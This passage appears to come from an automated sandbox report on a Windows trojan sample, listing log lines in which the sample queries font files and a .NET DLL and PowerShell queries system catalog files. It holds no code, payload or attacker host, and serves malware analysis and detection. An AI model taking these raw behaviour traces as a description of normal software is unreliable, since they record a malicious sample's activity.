Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\OFFSYMSB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.MSIL.Kryptik.HDZY.tr.18191.767.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation Jump to behavior
